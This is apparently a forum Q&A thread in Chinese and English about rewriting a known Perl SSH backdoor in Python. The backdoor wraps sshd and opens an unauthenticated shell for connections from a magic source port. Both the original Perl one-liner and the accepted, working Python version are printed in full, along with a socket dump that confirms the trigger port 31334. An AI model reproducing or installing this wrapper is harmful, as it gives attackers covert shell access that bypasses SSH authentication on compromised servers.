这个perl脚本的stdin的内容的判断?

新手上路,请多包涵

问题出现的环境背景及自己尝试过哪些方法

有个linux 程序运行传参(socket)的问题,
有个perl中间件脚本如下:

#!/usr/bin/perl
exec"/bin/sh"if(getpeername(STDIN)=~/^..zf/);
exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;

我用python实现这个功能,卡在了重写第一句的条件判断处。perl是用了getpeername的方法来从stdin中取到了信息,我不知道怎么查看这个stdin,于是查perl的资料知道getpeername()是根据socket fd来获得remote address + port:
*POSIX::getpeername allows you to get peername from sockfd.
来自 https://metacpan.org/pod/POSI...*

我按照这个思路用python的os模块实现却没有成果,

#!/usr/bin/python3.5
import os
import socket
import subprocess
import sys

for s in sys.stdin:

        raddr = os.read(s,100)
        if re.match(r'..zf',raddr):
                os.execv("/bin/sh")
                with open("hello.log","a+") as f:
                        f.write(str(raddr))

os.execv('/usr/bin/sshd',sys.argv)

我的查询结果对吗?这个stdin是一个打开的socket文件描述符么也就是个非负整数么?

PS : 这个perl脚本的来源

一款短小精致的SSH后门分析 - FreeBuf互联网安全新媒体平台
https://www.freebuf.com/artic... 问题描述

阅读 4.3k
2 个回答
✓ 已被采纳新手上路,请多包涵

In the end, I implemented my purpose according to the answer . This is my code, although there will be a warning at runtime,but it works~

#!/usr/bin/python3.5
import os
import socket
import subprocess
import sys

s = socket.socket(fileno = sys.stdin.fileno())

try:
    n = s.getpeername()
except:
    pass
else:
    raddr = n[1]
    if raddr == 31334:
        subprocess.run(["/bin/sh"])
        #sys.exit()
        
os.execv('/usr/bin/sshd',sys.argv)

and the warning is "class 'Exception' : [Errno 88] Socket operation on non-socket ", I am also little confused about this information, I am very happy to listen to some analysis about this.

Considering that someone might be interested in the specific content of stdin on this issue, I paste it below

<socket.socket fd=0, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=('192.168.8.199', 22), raddr=('192.168.8.240', 31334)> 

OS的fd是个整数,语言里的stdin可能是个对象

os.read得到的肯定不是raddr,看看python的socket api吧